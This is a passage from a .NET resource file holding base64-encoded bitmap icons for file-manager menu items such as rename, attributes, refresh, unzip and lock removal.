+ZjAAK3Bc5+ngrlPfYm5o4BhTOMYALs5hZj3WB5AETzhZ0sJPy3B383XMaE7gLDOZDCAFnJ0sWrg/
+Ndx9MgjuppE4nOEVOOHTwgmPcHGaZyGeeTk6preT4HgkWoafHEH8MPCN3+jhyqzrNiiiGT41XJxy
+gzDh/od45oUb83fL8FPGcL7xGvANQxbgGAmuLBcJPhOHs0ziAMadvxHPvBC+YghvicNdJnC+YRA8
+9VefGS5OuFhwACHimZfTP37J6Zfx0lmuzjo7WQzgTclwz4mvMQMaOOHTwgmvgYvjThBvOeHpmPMS
+8cwLr4B16lVQvRLSrepRqsuJpuOUe3zWQqhdrdRfaRtD1qLoeyv96ad/1zhaJ2qIZ17w84vFsOX7
+1xiuwVvo8eXGMJIBXHrfxOHykT32lGsMlhDPWiF8NCt4QuOWfPlJ7KsM4Oq7Rl7Gjpabw8SyXvCg
+6i1zOMakVbYGx+Wig+MBojk88KR7g1iZFWwcXMwWrvQ/clOY2Fdp4GzWjeHSweFsvn6HOJkXzvwr
+uDmFpA2aQY9vBlff7uzU0594+HIU+KYbrxInu0L0Fyqc4QluscdXN6gE150sBGfrPMVR3RT8jBjZ
+F8QOeBG+FYfTrFvs8dPDpfcMwdWWhN4xTcM/ce1DufnHFw7iNZzx7UzgSv8Th0vrXAvHWTeEj+CL
+cXgb82xLJ7EgXNmUDMekgLMWApMIZ623Do7Lhd7qiGbtiLt+qJ5+NreF4AtW4UqrrIOz5ZIMV/so
+bEXcdYMf0889n4LVkk9VOMMTXNtxSr0PNW6GcLZctHCpjxoE/sTVT+hnnm/BUvF5qz2+fLJo4WyD
+6uBS88fXDVykx+9MwVLRGWGhSDBrlQ3h1LnKXeuAiPhOeuzOFsx7jwnzBU+M4EqrrJ4sSXBst2sH
+nvC1V47S43anYLbgJWHOu5EIV3p83V2hHpcL3RM8tZc3vbWXX6bH7G7BclmRMOO5ZnQ5icPZcgFP
+3RUJP1je/GUhfX3vFEzzR4Vp92P1VjXpUtY5wfv/9NT2+enje7NgivcJE66gch2U4LhUwHu8P8gf
+HzhMH9v7BROu6v/GXA89NX0bnpqvqunP+7Vf+5XT4rj/Aa2iAT5Ln36qAAAAAElFTkSuQmCCCw==</value></data><data name="normalToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAoQEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABQ0lEQVRoQ+2Zu00DURREtx6+AYIWABGA27FJ6QIkikFyDiYiMBi0FEABy1pMeCTEHTMB
+vCOddOZO9ILXNRqNf8DkfTi76Ie30cH18Hp5p9gc5/3wSsdU3Lq8z4+gQ6puzx6+Rtw8zxX/+9Ah
+VdcD4iPokKo7s0V+BB1SdXe6yI+gQ6quB8RH0CFV96aP+RF0SNX9cUB8BB1S9eDq6dsRR7cvm30n
+6JCqx/OP/Ag6JKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHq
+fSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0o
+PKHqfSg8oep9KDyh6n0oPKHqfTb5xfQDV6r3GcNOwyNWk344UX2j0fi7dN0nRRth4OyCqkEAAAAA
+SUVORK5CYIIL</value></data><data name="renameToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAHAQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAADvklEQVRoQ+2ZyU8TYQDFe1ZciCtSdmXfikj0P9CYiFw5iBrj2cSLiUcRxSK7RYSIYkXZ
+RCqlLFUJSqFKENDSmU4LpRRRAalnTZ7fDFMCMtq52E6Tecm7NG3y+007mfelimDJSN4FpflUwSTp
+uOnkmXD+5eCIy2QKN+edo8y5Z7HaAlvQSDAME+FwOOz08DsTkfgZVBJeeFKwpYZGRsynz/9akyA/
+J/6t0gsLb18N1neDBLkn+LdLK0uvFUqHbeINkYBQrUOmN+a88/bh3IJo/iObc/jVj5Oq/hV3Zt93
+ZPR8R7phGWn6JaR2LSFZt4ikzkUkdnxDQvtXxLd9xaGWLzjYvIDYJwuIefwZ0dp5RDXOI/KhGxEN
+bijvzyG83oWwey7sr53Fvhon9mqc2FM9g92V09hVMY3QEhrxN7swplfC0p+KwbGPsNlsm0rTNMPe
+2DyqcLKMnjmVcQV+Eyi1IaF4FX75lYKrpS8FA6OTLPD6zlit1r9feW+yXnrgN4EyG5LU+g3wGyUm
+QFEUW3HwbPwmUMEg+S/w3n7qTYF16v0g+fkoeTzf8YtAlR0pt7vx4R/wbMf1+7HyWiHuynvz3wWq
+7UgtI/DdvuETrrWDxxKf/yqgcSCtXBx8YuEzbL1mkZBAzTTSK33DT7Dw1zsQUjiFrUW0NAQO1BL4
+KoNv+O4wJBZ1YFuRFSE3bNIQCK+bQWa1OPikG8+x/aYV24oZaQgo651Q3enBB4Nv+OTiTuwoprBd
+zUhDIOK+E1maXowbIgShvWXhU251Yqeaxo4SuzQEIhtmcbhGHHyaWsdtoZ2lDmkIRD2cRfbdPt/w
+hjCkl+i4LRRa5pCGQHQjgb/nG36SwGeU6rgtxK1RKQjEaF04UteP8R4R8OU6bgutzelAC8Q1uZBT
+bxQFn1mh47bQhvNAQAWezuNYg5Esx0hBaG9ZeFXlC24LbTrQBFLgoHYGLaPDWH4bJQjOloXPquri
+tpDgiSyQArENFCzuJXi+fRSUmOwJQ/adLm4LCZ7IAirQuoCj2il4PJ7V/iHBwh/R6LktJHgiC7TA
+oWY3LmraMTAwsEnC0nsAOTXd3BYSPJFJQqDJicuFJcjPz1+T+DS3iOZ3Q8gmT2J2CwmeyKQiEPeA
+xqUrV4mEGhfIN5HzwILIWtI6hpsTgicyyQi0kQdYI8PdxHGPprkHWYzWLXgekOw3EN/6RXDMBY/A
+uikhC8gCfGQBWUAWCHYBf//B8U8BysVjiU+m8ccJVf/KXOAFaNeWIuo4jyVHjhw5kopC8RtEQSu7
+bO51pQAAAABJRU5ErkJgggs=</value></data><data name="attributesToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
++IwAAAAASUVORK5CYIIL</value></data><data name="createFileToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAC7klEQVRoQ+2ZXUiTURjHR2BgipqaumIJXhiUFTHrssbW1Cb2zrUpfmB200VXdRXMYDA3
+altEmggrRctlkhdBRddBkiARMg2F9UlqVxW1i4KKp3f0BEFP593OeT27aD/43Y3n+f/HOXtfmCFH
+jhz/Aa3voNm5BiuqIOr+kVczOFYeyhq8pcLwuPNcXH4JKgivu/oWfpUYfT2L49cfKgivqQLSS1BB
+eK3rW5RfggrC627vovwSVBBeUwWkl6CC8LrH+0x+CSoIr3vVAtJLUEF4NQcTmiUOjL/R9zlBBeG1
+cTYpvwQVRIa4XhxquAxxvTjUcBnienGo4TLE9eJQw2WI68WhhssQ14tDDZchrheHGi5DXC8ONVyG
+uF4cargMcb041HAZ4npxqOEyxPXiUMP1VFn9BgefPoa6B4NQPXkaKke6oOJqB5RecS6XDBydLBpo
+aTP4PBsxTuZQS/Xy0Pwc1EyfAeNYB1SNtkPFtTbYEnVD+bALyoacsHlQgZLLLVB8qfl5ccThwkiZ
+QS0WVVn9AfWPbsG2iW7Yer0rnQJQdNEBhaHGiMHn24DR0oMKIGr9zBSYbvZkXiDcBAXnG0IYLT2o
+ACJa4k9g+1SvSAHIDzY4MZ42VAheUxe29t5ZZoEPX5Pw/stnZoFNwcMv077YVBBeLQtzUH37BLPA
+b9gF7JAfsHowIhsqCK/7Hkb1K+C3xjAiGyoIrzvue/Ur0G9bxohsqCC81tw59VeBj+qZ1yJ1J4gC
+SYzIhgrCK1UgdWm1oAtYP2FENlQQXnU9Qn7rEkZkQwXhVddL3G+bwIhs9PyLyRLX8WfUb3VjRDbq
+4iN6lVBWvkPtXY0HmXreNR9kAfsLoTdUEaqne12sAmm9SgRsCo7LDqap4xH+AvYLOCaLqK/EplhP
+ONMCBaGmUMav0+uJ8Ua30zjemdAu4EgUhh3ZPTb/whw9mVc11umpHG2PqQWWyqPHkmXDrcnSIWVJ
+LRBTv323IWrOw4//gcHwE5GqaHClfyHtAAAAAElFTkSuQmCCCw==</value></data><data name="refreshToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="lockRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAAC7klEQVRoQ+2Yz2sTQRTHpwdPelD/AQsW1LMWWhJDSAhpGm3/BYXqUetBrH9D0nhQBMGj
+ePBQmx8Ha2uiJrv1ULDYzCZ6EuvBi6d6aqHjzPqE7OY97Gx24xzygQ/d7rz35pvdTQJhYbLa6pwr
+W869su1slG3ekce/XNWxOifXVA2Um4MMdaliO2+k4mhyq2x3Y9D+/3iytXWsYjmPyxY/xIPSqh55
+Zx6pGTBuuLyy26dliAYWTk9erzU/nYKxw0FdNSq8vKpr8u+CetbXtrePKytW93y15dyoWPy1v/6P
+vD7UO6EeGyREt9ril6GEZNXiCfniP/f1W/whlERLxdqZ9D/z8v+3LxsfT0LJP1GPjOx755txWPvQ
+uQgl0aFud+/G6srrhP+LehHyY/WLZ5blrMNyNNQ2dy54NpRWNztJWNZGPU7+eZF+T6gvIs+G8k0J
+S4FRX3CemTa/C0vh07+ZswBLgSlbnZuemSFcFBL/p0cYt1t9xPbOVO8pWAofucFe72YvGu0TsBQY
+NaN3pnQPlsLHt5GA0wMT1dw+otooqrl9PF3ZEL3C6YEJde6Bw/L7bfZ9nzNhmLsHnOUgJo0q9DWa
+5DeISYM0GSXEpMGaTBJi0mBNJgkxabAmk4SYNFiTSUJMmp91JkwWYtJgTSYJMWmwJpOEmDRYk64/
+1sdEaWlcXJmZFFelpaUz7jmsVleISYM16frg/riIx+Me1TmsVleISYM16TqfnxKJRMLj3OwUWqsr
+xKTBmnSdm42JZDLpcT4fQ2t1hZg0u8+ZGNTC4oRIpVIei4tn0VpdISYN1qTr12djYvnOhEin064l
+eazOYbW6QkwarCmomUzGFVsLKsSkwZqCms1mXbG1oEJMGqwpqLlczhVbCyrEpMGagnrr2rS4fX0a
+XQsqxKTBmkwSYtK0ikyYLMSkwZpMEmLSYE0mCTFpsCaThJg0WJNJQkyaZpHtYo1GWDjCD1vNAssZ
++SJk+PfLbAZijhgxwoWx37uuj+FIXhJZAAAAAElFTkSuQmCCCw==</value></data><data name="systemToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAxQMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAADZ0lEQVRoQ+2Z2U5TURSGiRfemOgNT+CTGDUyq6CACCKDFlFQUCYHXkKeQBOjl8wqiIiA
+CDK3FFBkKgICyuADLNfaZ2+6S09L27MompyV/Nfn+/98mzQhxj777LPv/7ja6e2k2smdpdqpP7A3
+TyYpO/DYvQOP3NvwcIKyBTWuLah2bUK1cxOqMJXjv0Uqxn7BA8z90Q2R8pENKBtZh7Lhdbg3vAZ3
+hzCDq56SgbUE+Xnrh4Aec3gExxC4gq/R4Am8yinBxw1wBV8u4BEcI8AF/E8oxZQMUlYX5eetXyDw
+QKv7gputrsC9qxN4qQEOd75QVkB+3vrtgmvw3tURHFOtwVcqeD9wE138wFfh9sAKFGPk562fvjqH
+LvrqUhcDHFc34JfhVv8yX4Fo6KJWJ3BK0ecffAVC0mV3dQmOEbrI1U0eqY8uxRo4xdHHWCAauih4
+B+Zm35KI/Lz1U+D63/RguuiPNFRdCNwhwW98onj4CrDpgvBCF7l6Ub/URVudwAsxBb2LfAUCPVJO
+XRR4Ya8Bn9/DWCByXcwfqZkuOnh+zwLkdS/wFTB08a5+ELoo+DwJf717nq/Afrroq3t1CfZI/XVR
+qxN47kfKHF+Bg9KlwAccI8Dn4VrXnIj8vPULRRf9kRZp8KHqolYn8JyuWcj+MMtX4CB10VfPoSA4
+wV/t/M5XINgvRi5dFHg2ghN81nvGApHqUhiGLmr1LAE/A1cw8vPWLxq6GKsb4Fc6ZiCz4xtfATNd
+BDz+YtxPFwEfgi46eMY7yle+Any6+K6u60LgCj4d4dPbGQuY6+K7ulVddPDL7dNwqW2arwCPLnJ1
+1EXA79HFAMcgOMGnvZ3iKxANXdTqaW1TAj6Vs0A4uuire3Xxf6R7wdXqBJ76ZhIuYuTnrV80dBHw
+EvzCa4qbr4DZ6sF0MeDD04XADXg3nKe0TvAVsKqLd/XAuhC4gG91QwrCJ7cwFjBfnVcXBZ6C4Mkt
+LkhqdvEVCF0XL7z/Iw2ui7E6gkv4xGZn5AWOVAzBYUSBJzY5IaFpPPICR0s74TBigDshvnFcROKE
+f8cc9XAYodUJPK5xDOIaxiIvcDz3medE7nOIdk6/GhLg5zBn60ci/wdHbObThNiMOk9sZh1EMyfL
+X8Cpl/0C/kzDaLzEsc8+++z7Jy8m5i/wppOywn5NFgAAAABJRU5ErkJgggs=</value></data><data name="unzipToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAxQIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAACZ0lEQVRoQ+2ZTUgbQRTHZ6l3hZ56Uij1oodeFEQksASiqERCKQUDguDBg6fSW2tPSqH4
+hcaDikXptRS/Dx70IIigNhqr9iMW1IuKRlKS+JHs881mDNadrE1jdUb3wZ/Abpb5/Zj3loElVlll
+1T0o8JPymJ9sa34C2k+WH/GExgjsvlFg53Vqoc+EhwiAj2WZZQnjJVv4W8aWT79iG2RLh+cIhCcI
+7LzlQ5oGn4mMMPjLAjRfyCZbPv3SNhg8RyAhwYM0iQ6/gkkm4CXAlk+/rhI4WUhd4HQWIUURCA7w
+Ic0S/KCIIxCZJLDXzAflZa9JgSNsO2EEtO+pzUGi/0USOJ75e4HjKQQUTSDg4cPyEuhi/S/aDuy3
+8oEvZr9FgZNpBBRNQJ+D8avbKDKKcOfwognQYwUP+mLCwwgnqsBBO0KanYvwHv2PsAKn8zjM3Rxw
+Fjro0TmEE1VA+2Y+B3r/f8WILBD8yIen+Y1HDuEF9Fdpkjmg94QXiCHgYa8Rnl7TKJjoAsnmINH/
+MggcdPwJT0OvSSMQ6OQI0Pe/LAKhpQyodZeA3W4HVVXB/bwQQosP5BFYHH4IDocjIWCz2WDhc5Y8
+AkN9OQaBT55H8gh4mvINAm2Nj+URaHxZYBB4VZ8nj0BDXbFBoM79VB6BmmrVIPDMWSCPQJWzVBfw
+jWWCbzRLF7CrRfIIuF/Ed2AZ4WmogKtSoh0YbMs1tFBPc7Y8AtFVBfrfPwGX0wbOihLoe5cD0RWJ
